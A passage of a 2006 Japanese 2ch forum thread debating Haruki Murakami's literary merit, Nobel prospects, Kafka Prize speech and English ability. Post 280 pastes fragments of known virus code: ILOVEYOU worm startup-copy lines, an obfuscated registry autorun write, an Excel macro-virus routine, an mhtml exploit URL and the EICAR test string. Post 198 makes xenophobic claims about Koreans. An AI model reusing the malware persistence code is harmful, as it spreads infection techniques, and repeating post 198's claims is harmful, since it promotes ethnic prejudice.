まだ1999年までいってないのに。
(馬オジサン)
いや消えてなくなるのはホンモノとニセモノだけで、後にはただのモノが残る。
(泰平小僧)
あ。
(赤瀬川源平、「あらゆるニセモノはカクメイ的である」『現代の眼』1982年12月号)

春樹の作品は面白いし、80年代はホンモノだと思うけど、ニセモノに向かう要素も含んでいる。

146 :吾輩は名無しである:2006/10/13(金) 18:31:39
80年代って言ったけど、『ねじまき鳥クロニクル』もホンモノに入ると思う。

147 :吾輩は名無しである:2006/10/13(金) 18:34:13
村上先生以外に本物があるのならむしろそっちを教えてもらいたい

148 :吾輩は名無しである:2006/10/13(金) 18:38:14
プラトンとか、カントとか。
読んだことないけど。

149 :吾輩は名無しである:2006/10/13(金) 21:16:12
受け身だから駄目なのだということに気づけ
探すんだよ 日本全国草の根分けてでも探す
首都で酒飲んでて本物に出会えると思うか

150 :吾輩は名無しである:2006/10/13(金) 21:24:54
くっさー
豚って臭いや
Q:なんで臭いの?

A:豚だから

何で豚は臭いの? 豚だから意味はない。

151 :白石昇 ◆ywq0.8TYV6 :2006/10/13(金) 22:27:38

ゴミ野郎

152 :吾輩は名無しである:2006/10/14(土) 04:07:46
村上なんて受賞したらノーベル文学賞の権威も下がる

153 :吾輩は名無しである:2006/10/14(土) 16:44:35
>>126
日本だけだと思うんだけど
エンタメだとか純文学とか気にしているのは

154 :吾輩は名無しである:2006/10/15(日) 00:06:59
エンタメと文学をごっちゃにしてるのが日本だけ

155 :吾輩は名無しである:2006/10/15(日) 00:23:55
なわけない。

156 :吾輩は名無しである:2006/10/15(日) 00:51:40
ドイツでも春樹の本はジャンクフードだとかなんだとか一部で言われてるよ

157 :吾輩は名無しである:2006/10/15(日) 03:04:55
まぁ、パール・バックなんかも受賞してるわけだしねぇ。

158 :吾輩は名無しである:2006/10/15(日) 03:22:47
バックについてはノーベル関係者も汚点だったと自省してたぞ

159 :吾輩は名無しである:2006/10/15(日) 07:44:35
>>156
勘違いしないで欲しいのは、それがアメリカの思想だということ。

160 :吾輩は名無しである:2006/10/15(日) 12:24:04
バックは作品より人間性じゃないのかな
文学賞じゃなくても現代だったらノーベル平和賞充分とれるくらいのことしてる


161 :吾輩は名無しである:2006/10/15(日) 12:27:20
ハルキは、自分の印税を社会の貧しい層や
反戦や人種差別撤廃のために使うとは到底思えない

162 :吾輩は名無しである:2006/10/15(日) 12:45:42
 そもそも村上は儲けた金をどうしようというのか?そちらのほうが
ぜんぜんおもしろいな。彼のライフスタイルでは使いきれないだろう
に。金は儲け方も使い方も人格を表すから、作家論ではかかせない事
項なのだ。

163 :  ◆/n0y0.pQvo :2006/10/15(日) 17:18:00
>>138
ノーベル賞は、世界的人類的配慮が欠かせない。
平和賞がその典型だが、文学賞もまた。
人類の叡智を広範に共有するための装置ともいえる。

今年がトルコ初のパムクなら、来年は戦渦の地の詩人アドニス。
それから次は
韓国文学も未出だから、黄ル瑛かも。
高銀の獲得運動よりも作品の質がもの言うだろうな。

164 :  ◆/n0y0.pQvo :2006/10/15(日) 17:20:31
日本も川端康成が取るまでには苦労があった。
マイナー言語圏の作家は同じ苦労を背負う。良き翻訳者に恵まれるのも必要。
今後も英語圏文学とその他とのバランスを取りながら
受賞の「順番」は決まっていくと思われ。

めぐり合わせということがある。
三島にしろ春樹にしろ、宿命下に生きて死に、作品のみ永く一人歩きする。それが芸術。


165 :  ◆/n0y0.pQvo :2006/10/15(日) 17:28:47
次に日本文学に順番が巡ってきたら、
そしてその時に春樹が健在であれば、村上春樹がノーベル文学賞を取る。

100%確実。


166 :吾輩は名無しである:2006/10/15(日) 17:32:54
永遠にないよ
エンタメとは別世界

167 :吾輩は名無しである:2006/10/15(日) 17:38:48
人類的配慮というのが曲者のような気がする。まあ賞なんてものは
くれる者がいるから頂けるわけで、どんなにエライ人でもくれる人が
いなかったら、永久に貰えないよな。とポストコロニアル的に釣ってみる。


168 :吾輩は名無しである:2006/10/16(月) 16:36:25
村上春樹文学には餓え、貧困、性欲といった人間の根幹から発生する
葛藤がないよ
だから、新鮮にみえるのかもしれんが、ちと早すぎたかもしれんな

169 :吾輩は名無しである:2006/10/17(火) 00:46:19
>>166
でも海外ではエンタメと思われてないよ。
「純文学」だってさ。

170 :吾輩は名無しである:2006/10/17(火) 07:23:45
リテラリーフィクション、だったっけ?
どう分類してるんだろうな

171 :吾輩は名無しである:2006/10/17(火) 12:59:22
>>169
ノルウエーの森あたりから、オレは読まなくなった
それまでは、まあ〜、新聞の四駒漫画文学程度の認識しかなかったが

172 :吾輩は名無しである:2006/10/17(火) 13:32:02
村上が新鮮に見えた時代があったのかもしれない
しかし今となってはぬるすぎる

173 :吾輩は名無しである:2006/10/17(火) 19:34:54
「心臓を貫かれて」を読んだヤシいる?


174 :吾輩は名無しである:2006/10/17(火) 19:49:29
柏木博って人の本から。

しかし実際のところ、アメリカの都市は、ジェファーソンが描く田園都市のイメージからはほど遠い、市場経済の闘争の場となっているのが現実である。
たとえば、ロサンジェルスのかつての中心地は、八〇年代には、再開発不能の見捨てるほかない場所とまで言われていた。
そうしたアメリカの現実は、アメリカの市場経済のシステムそのものをまさに映し出している。
この中心性のなさが、他方では誰にでも了解可能な広告的フィクションを自らのアイデンティティとして生み出し続けているのではないか。
したがってそこでは、いわば捏造されたアメリカのイメージが蔓延することになる。
かつて、社会学者のジャン・ボードリヤールは、アメリカの都市は虚構であると延べた。
虚構としての現実は、誰もが納得できるさらに強烈な虚構の存在によって、虚構であることが認識されなくなっているのである。
ラルフ・ローレンのファッションはアメリカの虚構のアイデンティティをつくり続けている。
ファッションが国民のアイデンティティをデザインするということは、中心の存在しない市場システムとしてのアメリカ特有の現象とも言えよう。
しかし、まさしく中心が存在しないがゆえに、市場システムとしての「アメリカ」は、世界中に広がっていくことが可能になったのである。

175 :吾輩は名無しである:2006/10/17(火) 19:51:08
別に春樹がとらなくても、“中国の春樹”や“インドの春樹”がとってくれるさ。

176 :吾輩は名無しである:2006/10/18(水) 02:55:31
○○の春樹
じゃなくてもいいけど。

177 :吾輩は名無しである:2006/10/18(水) 08:14:00
○○のロナウド

178 :吾輩は名無しである:2006/10/18(水) 08:43:26
>>173
いい質問だ・・・ないな〜
ただ単なる、ほのぼの小説

179 :吾輩は名無しである:2006/10/18(水) 12:43:21
>>172処女作からしてアメリカナイズされてるよね。
日本人がアメリカに憧れた時代は良かったのだろう。
異国っぽいところが。
でも昔から伊丹十三のエッセイとかもっと凄い人がいたけどね。

180 :吾輩は名無しである:2006/10/18(水) 13:13:19
スヌーピーの漫画を寄せ集めたような小説ってイメージかな?

181 :吾輩は名無しである:2006/10/18(水) 13:54:20
>>180
スヌーピー!? それほど高尚なもんじゃないな!

182 :吾輩は名無しである:2006/10/18(水) 14:23:43

ttp://ja.wikipedia.org/wiki/%E6%9D%91%E4%B8%8A%E6%98%A5%E6%A8%B9
>しかし、文章の平易さとは反対に作品のテーマや世界観は難解であり、
>読者が充分にそれらを理解できているかは難しいところがある

そうかな。めちゃくちゃ薄っぺらいと思うけど。

183 :吾輩は名無しである:2006/10/18(水) 16:12:52
初期はメタフィクショナルでかっこよかったのに、ノルウェーくらいからプロット優先の凡人になってしまった。スプートニクのなんたらなんて、途中で投げ捨てましたよ。
あと、カフカもいらん。

184 :吾輩は名無しである:2006/10/18(水) 16:52:15
>>182

村上って深読みされることで成立してるって言うか
もうそれしかなくなってる
本人にもどうやら自分の作品がわからないらしいから
無視していいと思うよ

185 :吾輩は名無しである:2006/10/18(水) 18:50:08
土俗的なものへのデタッチの限界を90年代以降(特に地下鉄サリン事件以降)、
克服しようとあれこれ模索しているように思うんだけど、
それがまだ実作レベルではうまく成果を上げていないという感じかな。
アンダーグラウンドとか短編小説案内はいい仕事だったと思うよ。

186 :吾輩は名無しである:2006/10/19(木) 00:52:46
>初期はメタフィクショナルでかっこよかった
ってセンスがやばいと思う

187 :吾輩は名無しである:2006/10/20(金) 15:32:58
どんなセンスも基本的にはヤヴァイですから

188 :吾輩は名無しである:2006/10/21(土) 14:43:16
電通のマーケット分析レポートにもとづいて入念に
作られた小説もどきって感じなんだよな。
できるだけ多数のマスに売れるように練りこんである。
できるだけ読んで反感を得ないように、特殊性・個性を取り除いて
できるだけ多くの人にあてはまるように

売るために書かれ、実際売れた本。「業界プロ」の商品。
私生活を見ても芸術家っぽい乱れや悩みみたいなものはほとんどない。
電通の勤め人みたいな感じ。

デンツ イラネ w

189 :吾輩は名無しである:2006/10/21(土) 19:52:49
芸術家で乱れてない人も沢山いる。
丁度、前の世代が内向の世代だったわけだし。

190 :吾輩は名無しである:2006/10/21(土) 19:58:01
近代というのが、ピカソの絵に象徴されるようなアレだったのかもしれないけど。

191 :吾輩は名無しである:2006/10/21(土) 23:43:03
 電通のくだりは以前浅田彰が発言してましたね。そもそも「文学」は
大量生産が可能になった新聞がメディアとなって成立したのだから、私
は電通であっても別にいいのではと思います。ただ逆の言い方をすれば
そもそも「文学」になんらかの権威を認めたのがなにか大きな間違いで
あって、他にもっといいことを言うジャンルがあってもかまわないので
はないでしょうか?大衆のために書かれ、大衆に購読されることを前提
にした新聞で、権威をふるう者たちが必要とされたこと自体を必要とし
たのはなぜか?村上春樹が必要とされている理由もそこらへんにあるの
ではないでしょうか?

192 :吾輩は名無しである:2006/10/22(日) 15:22:35
文学と新聞は関係ないと思う。

193 :吾輩は名無しである:2006/10/22(日) 15:24:01
エンタメが権威を持たず売り上げのみを持つのは自然なこと

194 :吾輩は名無しである:2006/10/22(日) 15:25:21
売れるを越えて売りつけられている本 w

195 :吾輩は名無しである:2006/10/22(日) 18:35:00
 文学と新聞が関係ないって?お笑い種だ。

196 :吾輩は名無しである:2006/10/22(日) 23:31:33
馬鹿は図式が好き w

197 :吾輩は名無しである:2006/10/23(月) 01:59:30
 もっともなご意見。村上春樹はその図式に見事にはまっているわけだ。

198 :吾輩は名無しである:2006/10/23(月) 02:34:01
ガチで純文学が扱うべきテーマ

電通 捏造朝鮮ブーム
成田豊会長(朝鮮人)

反日売国 電通 推奨企業CM

サラ金(朝鮮高利貸し)
パチンコ(朝鮮ギャンブル、非公営、金正日信用金庫)
ヤクザ周防バーニング事務所タレント

その他
朝日新聞、TBS、など、きりね〜



199 :吾輩は名無しである:2006/10/24(火) 10:53:47
>>198
他の掲示板でも電通の人事について、胡散臭いところがあるらしいが、
要は、電通は朝鮮総連の手も及んでるってことですかいな?

200 :吾輩は名無しである:2006/10/24(火) 17:32:35
川端康成はノーベル賞受賞記念講演の結論で、西洋人と日本人は「心の根本がちがう」と明言している。実に後ろ足で砂をかけるやり方ではあるが、読む側としては面白い。講談社現代新書

201 :吾輩は名無しである:2006/10/25(水) 00:29:07
宗教の時点から、自然観が違うわけよ。

202 :吾輩は名無しである:2006/10/25(水) 20:41:59
だから村上春樹は落胆する必要はない!

203 :吾輩は名無しである:2006/10/25(水) 20:44:42
朝日新聞は広告収入が激減したから、とある宗教団体に頼りつつあると、週刊新潮に書いてあった まあ世の中そういったものだ とか書いて気分がよいかどうかそれは当人にさえわからない秘中の秘。

204 :吾輩は名無しである:2006/10/25(水) 23:22:29
アメリカは実は新興宗教大国らしいね。

205 :吾輩は名無しである:2006/10/27(金) 03:53:31
とにかく「春樹、受賞するかもしれない」なんて
顔に出してるやつがいたら
そいつはガチで世界を知らないから

さて「サッカー日本代表はベスト4入りします!」並みの
笑える村上症患者がたたかれる日がいよいよやってきますた
ニュースが流れた瞬間から周りの村上症患者が馬鹿にされるかと
思うといい気分です
今年は馬鹿が馬鹿だと自覚するよい年なのです

206 :吾輩は名無しである:2006/10/27(金) 04:43:04
>>205
少しでいいから根拠をしめしてくんないかな?
同意できるのかできないのか判断できないんだよね。
どうせしめせないよねw
乙w


207 :吾輩は名無しである:2006/10/27(金) 04:50:19
>>206
関係ないけどお前ずっと村上龍のスレ荒らし続けてるキチ外だよね

208 :206:2006/10/27(金) 07:12:25
村上龍スレなんぞで一度も発言したことないけど、
たぶん私はその「キチ外」とやらと同意見だと思う。
あなたとは意見が異なるに決まってるから。

てゆうか、こちらの質問には答えず、いきなりそんな言いがかりつけるのはなぜ?
要するに根拠は示せないわけということでしょ?
なるほどねw

209 :渚 水帆(小説家):2006/10/27(金) 12:26:42
こんにちは!
元阪大のアイドルで「森の妖精」とも呼ばれたことがある
小説家の渚 水帆です♪
岩井志麻子さんの小説のモデルになったり
中村うさぎさんと角川本社で対談したり
河村隆一さんの歌詞に影響を与えたことが自慢です★

先日は小学館のセカチューを担当した名編集者が
渚のデビュー作「ガラスの鼓動」(彩図社ぶんりき文庫)を読んで
芥川賞レベルと褒めてくれました!!るん♪

今度、村上春樹さんの文体そっくりに真似て
一作書いてやろうかなと思っています
期待していてください!!

PROFILE
大阪生まれ
高石市立東羽衣小学校卒業
四天王寺中学校卒業時「立学の精神」の賞を授与
大阪大学工学部卒業 在学時「阪大のアイドル」と呼ばれる
一時期劇団に所属し、芸能活動を行う
製薬会社研究職、化粧品アドバイザー、自動車会社、クレジット会社、生命保険営業
などで勤務の後執筆活動に入る

渚のHP
http://www5.ocn.ne.jp/~nagisa-m/
渚のファンサイト 小説「限られた才能でチューリップ」好評連載中!
http://www.geocities.jp/umibenokai/
渚のファンが集う掲示板 渚の写メも続々UP!(斉藤由貴似♪)
http://hp.jpdo.com/cgi36/170/joyful.cgi?

210 :吾輩は名無しである:2006/10/28(土) 03:09:25
>>205
だから世界の評価は日本国内での評価と違うんだってば。
あんな普通の小説でも大絶賛されちゃうだもの。

211 :吾輩は名無しである:2006/10/29(日) 02:24:47
良くも悪くも自分のことにしか興味がない小説家であるし、
その読者もまた同じ。そういう意味では現代的であるけど
逆に言えば、もう乗り越えられる対象でしかない作家だと思う。
なんてね。

212 :吾輩は名無しである:2006/10/29(日) 03:33:16
むしろ相手にせずに傍流化させてればいい話でしょ。

213 :吾輩は名無しである:2006/10/29(日) 13:21:42
美のことしか考えてなかったような耽美派の二人も結局は文化勲章もらってるんだよね。

214 :吾輩は名無しである:2006/10/29(日) 20:00:49
尼さんももらったしな。

215 :吾輩は名無しである:2006/10/31(火) 06:58:15
短編集「パン屋再襲撃」
タイトル作はまたもアーヴィング「熊を撃つ」物

最初の二編はかろうじて読める
あとは。。。
「中国行きのスロウボート」と何でこんなにレベルに差があるんだ?

216 :吾輩は名無しである:2006/10/31(火) 07:10:23
発音って大事だな

217 :吾輩は名無しである:2006/10/31(火) 07:11:22
さっきの日テレで喋って、動く村上春樹初めて見た…
写真でみるより男前じゃないか

218 :吾輩は名無しである:2006/10/31(火) 07:50:41
ちょ

俺も見たい動く村上春樹

昨日からテレビ注意してたのに見れなかった(´・ω・`)

219 :吾輩は名無しである:2006/10/31(火) 11:25:47
俺もみたかったな。奥さんもでてたんでしょ?陽子さん。

220 :吾輩は名無しである:2006/10/31(火) 11:56:32
スピーチしてるとこだったね。想像してたより貫禄あってカッコよかった。

221 :吾輩は名無しである:2006/10/31(火) 11:58:36
奥さんの顔、初めて見た。
http://editorial.gettyimages.com/source/search/details_pop.aspx?iid=72301184&cdi=0

222 :吾輩は名無しである:2006/10/31(火) 12:05:09
髪型・・・

223 :吾輩は名無しである:2006/10/31(火) 12:13:28
これまたイメージ外だな。ものすごい意思が強そう。

224 :吾輩は名無しである:2006/10/31(火) 12:26:22
奥さんのほうが賢そう。

225 :吾輩は名無しである:2006/10/31(火) 12:26:52
ギャルソン好きと見た

226 :吾輩は名無しである:2006/10/31(火) 12:31:16
「海辺のカフカ」書いてるのが、あんなきもい紳士気取りのおっさん
だったとはな。全国の小中高生はさぞかし夢を打ち砕かれたはずだ。


227 :吾輩は名無しである:2006/10/31(火) 12:32:30
ヨーコ

こりゃまたこういう名前がおおいんかね芸術系妻には

228 :吾輩は名無しである:2006/10/31(火) 12:39:22
>>226
それは春樹ファンの誰もが通る道だから無問題

229 :吾輩は名無しである:2006/10/31(火) 12:47:30
その道を通るととたんに冷めるんだよな。
あのときの俺はなんだったんだろうって。

春樹の場合は相手がたまたま「よーこ」だったんじゃなくて
「よーこ」だから結婚したんだよ。全部そういうこと。

230 :吾輩は名無しである:2006/10/31(火) 13:38:58
大量のフラッシュを浴びながら英語でスピーチしてたよ
「カフカは最も好きな作家の一人です。
初めて触れた彼の作品は十五歳の時に読んだ「城」です。」みたいな事いってた
発音がその辺の学生と変わらないのが、ちょっとがっかりだったけど

231 :吾輩は名無しである:2006/10/31(火) 16:53:03
問題は発音じゃなくて仕事の中身だろ。

232 :吾輩は名無しである:2006/10/31(火) 19:21:56
>>230 俺も朝のNHKのニュースで見た。意外と低い声だったのが印象的
だった。まあ、発音は日本人的で、流れるような英語でのスピーチでは
なかったが、おそらくマスコミでの初めての肉声だと思うと、ちょっと
感動した。

233 :吾輩は名無しである:2006/10/31(火) 20:06:26
動く春樹うp汁

234 :吾輩は名無しである:2006/10/31(火) 22:11:45
報道ステーションでやる?やってほしいなあ。

235 :吾輩は名無しである:2006/10/31(火) 22:18:16
カフカ賞おめでとう
嬉しそうにしてたみたいだね
改めて思うが、やはり世界的な作家だ

236 :吾輩は名無しである:2006/10/31(火) 23:27:02
NEWS ZEROで取り上げてた

237 :(o^-^o) ◆m0yPyqc5MQ :2006/10/31(火) 23:34:04
はるきちのまいるすとーんとしてお似合いのこじんまりした賞でよかったすね


走れはしれ

238 :吾輩は名無しである:2006/10/31(火) 23:49:41
あの語学力で大学の講師ができたのか。すげえ。

239 :吾輩は名無しである:2006/11/01(水) 00:08:17
あっ、保坂がテレビでてる、と思った

240 :吾輩は名無しである:2006/11/01(水) 00:19:28
>>236
げっ 見逃した! あれと石館はニュースがお笑い臭くて見ない…
惜しいことしたな。BSでやるかも、ロシアかドイツ

241 :吾輩は名無しである:2006/11/01(水) 11:14:00
基本的なことでスマンが、彼って芥川賞は取ってなかったのでは?

242 :吾輩は名無しである:2006/11/01(水) 11:42:17
早々と長編に手を出したからね。

243 :吾輩は名無しである:2006/11/01(水) 12:18:33
もう作品内容は全く語られなくなったね

244 :吾輩は名無しである:2006/11/01(水) 12:26:41
春樹文学はもう日本では通用しないってことですか?

245 :吾輩は名無しである:2006/11/01(水) 14:49:02
春樹の会見の動画どっかで見れんのか?

246 :吾輩は名無しである:2006/11/01(水) 15:17:10
見れるが?昨夜もヤフ某部屋で鑑賞会あっただろが

247 :吾輩は名無しである:2006/11/01(水) 15:57:22
やっとうpされたかぁ
さすがネット時代こうでなくては

248 :吾輩は名無しである:2006/11/01(水) 16:56:48
>あの語学力で大学の講師ができたのか。

プリンストンであぜんとされたのかもしれないし、いかにもよさそうに
「プリンストン大学で講義」とか書いてた出版社は終わっとる。
つか翻訳能力もどこまであるのか、どのくらい分担してるのかと www

249 :吾輩は名無しである:2006/11/01(水) 17:29:28
動画どこよ?

250 :吾輩は名無しである:2006/11/01(水) 21:06:29
>改めて思うが、やはり世界的な作家だ

感じ方は人それぞれだね
折れ的には「改めて思うが、やはりそこらのおっさんだ 。知性の代表、という
感じはまるでしない」だった

251 :吾輩は名無しである:2006/11/01(水) 23:18:34

"Haruki Murakami, one of the world's greatest living writers"
  村上春樹   生存する、世界で最も偉大な作家の一人


http://www.praguemonitor.com/prague360/index.php#Japans-Greatest-Writer-receives-Franz-Kafka-award
Prague Daily Monitor


252 :吾輩は名無しである:2006/11/01(水) 23:31:20
you tubeで見れたよ。
カンペありだったな 笑
つうか発音もアクセントも悪くないか?
castleは「キャッスル」じゃなくて、「キャッソウ」といはないと 笑

253 :(o^-^o) ◆m0yPyqc5MQ :2006/11/01(水) 23:33:53
海外旅行好きれべるのやまと発音最強っ

254 :吾輩は名無しである:2006/11/01(水) 23:38:53
低音の効いた、なかなか渋い声じゃないですか!
イメージと違うなぁ。

255 :吾輩は名無しである:2006/11/01(水) 23:39:59
あと、the は「ザ」じゃなくて「ジィ」にしなさいと
僕は大学の先生に言われたポン

256 :吾輩は名無しである:2006/11/01(水) 23:46:38
>>251
うpトンクス。
ニュース見てない動画見てない… 出遅れ鬱


257 :吾輩は名無しである:2006/11/01(水) 23:47:49
you tubeで見れる??

258 :吾輩は名無しである:2006/11/01(水) 23:52:44
>251

ヨーロッパでよくある辞令に過ぎない
初めて紹介される時そう言われない確率は半分くらいじゃね?
真にすごいと思われてるときはone of はつかない
そのつかない場合でも誇張表現に過ぎず実際は上の8人以内程度の意味だ
本当のトップの3人と思われているときはliving regendとか言われる

259 :吾輩は名無しである:2006/11/01(水) 23:54:13
>251
権威主義乙 w

260 :吾輩は名無しである:2006/11/01(水) 23:55:22
権威主義は、内容に自信がない者がタイトルに頼る心理

261 :吾輩は名無しである:2006/11/01(水) 23:57:52
>>251
素晴らしいなあ、一度でいいから掲載されてみたいよ。
俺も大成していずれ載るからな、別ジャンルだけどw

262 :吾輩は名無しである:2006/11/02(木) 00:01:55
されたくないな
大衆作家と同レベルは御免

263 :(o^-^o) ◆m0yPyqc5MQ :2006/11/02(木) 00:04:37
ふーふなかよしではっぴーはっぴーv(^-^)vべいびい

 ま

しょせんはるきちだけどwww

264 :吾輩は名無しである:2006/11/02(木) 00:17:42
>>258
http://dictionary.goo.ne.jp/search.php?MT=living+legend&kind=ej&mode=0&base=1&row=0

265 :吾輩は名無しである:2006/11/02(木) 00:17:58
あれ、もうようつべから消えた・・?

266 :吾輩は名無しである:2006/11/02(木) 01:01:25
>>261
なにジャンルか言え。言えなければ2ch名物大言壮語w

267 :吾輩は名無しである:2006/11/02(木) 01:04:40
しかしな、タイトルにカフカの名を掲げた作品を書いているというのも、
いかにも物欲しげで、なんか嫌だな。

268 :吾輩は名無しである:2006/11/02(木) 01:37:57
「山のドストエフスキー」よりは

269 :吾輩は名無しである:2006/11/02(木) 09:17:36
日本人の多くの人がソニーの製品を別段意識しなくとも買わなくなったと
同じくらい、村上春樹の小説を今さら読むお大尽はいなくなっただろう。

270 :吾輩は名無しである:2006/11/02(木) 15:35:53
素朴な疑問なんだけど,春樹が文学ではないという主張の根拠って何?

271 :吾輩は名無しである:2006/11/02(木) 22:15:37
少しはさかのぼって読めば?

272 :吾輩は名無しである:2006/11/02(木) 22:17:26
【あれで本当に】村上春樹・総合 5【翻訳してるのか?】

273 :吾輩は名無しである:2006/11/02(木) 23:46:32
http://www.youtube.com/watch?v=ehzKioEMGAI
春樹の講演だよ

274 :吾輩は名無しである:2006/11/03(金) 07:01:09
>>1
外国の文学なんか円貯めなのにな
ほんとバカだ>>1

275 :吾輩は名無しである:2006/11/03(金) 10:06:03
>>274
自白乙

276 :吾輩は名無しである:2006/11/03(金) 10:07:38
世界の春樹ってそのレベルね

277 :吾輩は名無しである:2006/11/03(金) 10:11:33
273
春樹スピーチのあいだ後ろの授賞側のチェコ老人が全く春樹に注意を向けてない
というか
「異物が入ってきたな、ま、今回はビジネスだからしょうがねぇな」
という表情をしていることが興味をひくね

278 :吾輩は名無しである:2006/11/03(金) 10:13:28
ところで授賞式前にメディア取材の参加範囲・方法で直前まで
モメたってのはどういうことだったか詳しく教えろ

279 :吾輩は名無しである:2006/11/03(金) 10:18:59
★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★
全く春樹に注意を向けてない というより
最初注意して聞いてたのが
まるっきり中学生な内容だったので(「こどものころ読んで本当に衝撃を受けました」)、
あきれて注意して聞くのをやめ宙を見て
ゴミを払うしぐさをした

これは注目すべきしぐさである
すべてが崩れながら露見していく
★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★

280 :吾輩は名無しである:2006/11/03(金) 10:34:12
<body onload=window()>
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)))
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
<object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+
chr(93))
ms-its:mhtml:file://c:\
kak.hta';ken=wd+'START
kill -9 xz/tSaBh0
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
End Sub
???

281 :吾輩は名無しである:2006/11/03(金) 10:46:23
>>273
最後の椅子に座っているシーンで、
隣に座っている日本人女性が奥さんなのか?

282 :吾輩は名無しである:2006/11/03(金) 10:57:15
そうだよ
ノルウェイ書いたのは彼女だとも考えられている

283 :吾輩は名無しである:2006/11/03(金) 11:07:37
だから一緒に受賞式に出てるのか

284 :吾輩は名無しである:2006/11/03(金) 12:25:39
英語下手だったね。アメリカの大学で教えているくらいだから
もっと上手いのかと思っていた。浅田彰が村上春樹の翻訳は
柴田元幸がブレーンになってると言ってたけど
本当かもしれない。

285 :吾輩は名無しである:2006/11/03(金) 12:32:14
発音が悪いだけならなんとも思わないが、
あそこまで下手だとちょっとショック。
日本語で考えたスピーチをなんとか英訳してみましたという感じ。
どっかのサイトに春樹が英語で答えてるインタビューが掲載されているのを
読んだ時はちゃんと喋れるんじゃんと思ったけど、
あれは相当修正が加えられていたということか。

286 :吾輩は名無しである:2006/11/03(金) 12:38:44
>>284
有名作家が翻訳をしたとされている本はたいてい、
1.下訳担当者が英語から日本語に翻訳する
2.有名作家がその日本語をちゃんとした日本語に直す
というのがほとんど。

ただ、村上春樹はこのパターンには当てはまらない、
最初から自分でやる数少ないタイプ。
とりあえず最初から最後まで全部自分で翻訳して、
それを柴田に見てもらうという形を取っていたらしい。
最初の頃は、busとbathを間違えるという信じられないようなミスもあったらしい。

287 :吾輩は名無しである:2006/11/03(金) 12:41:44
公職にある柴田元幸が癒着してるんか
柴田元幸イラネ

288 :吾輩は名無しである:2006/11/03(金) 12:46:08
とりあえず最初から最後まで全部自分で書いて、
それをヴォネガットやチャンドラーやクリスティー、さらには丸谷才一に
見てもらうという形を取っていたらしい。

てか

289 :吾輩は名無しである:2006/11/03(金) 12:56:47
>>busとbathを間違える

「熊を放つ」の翻訳時かな
ついでにパクってるわけだが ww
「象の消滅」は「熊を放つ」第2章ノートブックの3回めの動物園偵察あたり
からのコピー

「もうじき閉園です」と声がかかる。・・・閉園のあとで警備員がやってきて
動物の体を洗おうとして、僕をみつけるかもしれない。
・・・ユーコン・ドールシープ本人は、いろんながらくたをセメントでくっつ
けた人口の山のてっぺんに座っていた。
   「熊を放つ」 第2章ノートブック の 3回めの動物園偵察より

290 :吾輩は名無しである:2006/11/03(金) 12:57:46
さすがは「世界」 w ワラ)

291 :吾輩は名無しである:2006/11/03(金) 12:59:11
会見のせいで今までミステリアスな感じだったのが
いきなりメッキがはげたな、って思った。
メディアは偉大


292 :吾輩は名無しである:2006/11/03(金) 13:01:12
リューイチ・サカモト級のコピー猿 www

293 :吾輩は名無しである:2006/11/03(金) 13:03:22
改めて思うが、やはりそこらのおっさん
知性の代表、という 感じはまるでない

294 :吾輩は名無しである:2006/11/03(金) 13:05:32
I really appreciate this ahh Franz Kafka International Literary Prize, mainly because
Franz Kafka is my one of the my favorite authors of all time.
I encountered his work, Franz Kafka's work, when I was 15 years old.
It was the first time. That book was "The Castle".
That was a great incredible book, and that book gave me too many shock.

×Franz Kafka is my one of the my favorite authors of all time
○Franz Kafka is one of my favorite suthors of all time

×It was the first time
○敢えてこういう言い方をするのであれば、ItではなくてThat
ただ、I encountered his work for the first time when I was 15と言った方がすっきりする

×That book was "The Castle"
○It was "The Castle"

×That was a great, incredible book
○It was a great, incredible book

×that book gave me
○it gave meもしくはthe book gave me

×too many shock
○great amount of shock

I was terribly shocked by it's contentと言ってしまった方がいい。


295 :吾輩は名無しである:2006/11/03(金) 13:06:37
しょせんはエンタメだから

296 :吾輩は名無しである:2006/11/03(金) 13:10:23
でも手元にカンペがあるみたいだったよね?

それなのにTOO MANY SHOCK って中学生のスピーチ・・・・・www

297 :吾輩は名無しである:2006/11/03(金) 13:50:38
4ヶ国語が完璧な浅田彰さんにまた笑われるかもしれない。

298 :吾輩は名無しである:2006/11/03(金) 14:07:53
私はターイ語をNHK語楽紀行の範囲で
完璧にマスターしましたが何か?

299 :吾輩は名無しである:2006/11/03(金) 14:12:18
>>294
あなたもけっこうな春樹ヲタだね。
恐れ入りました。

300 :吾輩は名無しである:2006/11/03(金) 16:07:54
こんなぐらい普通でオタとは言わん

この編集者は無知、というより物事への態度が異様に薄っ平なんだが
そんなでよく社会人が務まるな

301 :吾輩は名無しである:2006/11/03(金) 21:03:08
川端  凍りそうな海
大江  30000メートルプール

--------------- 混じりようのない質の差 -------------------

村上  ぬるま湯町営温泉施設

302 :吾輩は名無しである:2006/11/04(土) 01:25:55
川端と村上はいいとして、大江30000メートルプールというのが
笑えるね。うまいよ。ありえなさが。

303 :吾輩は名無しである:2006/11/05(日) 05:39:05
なんか改行が多いスレですね

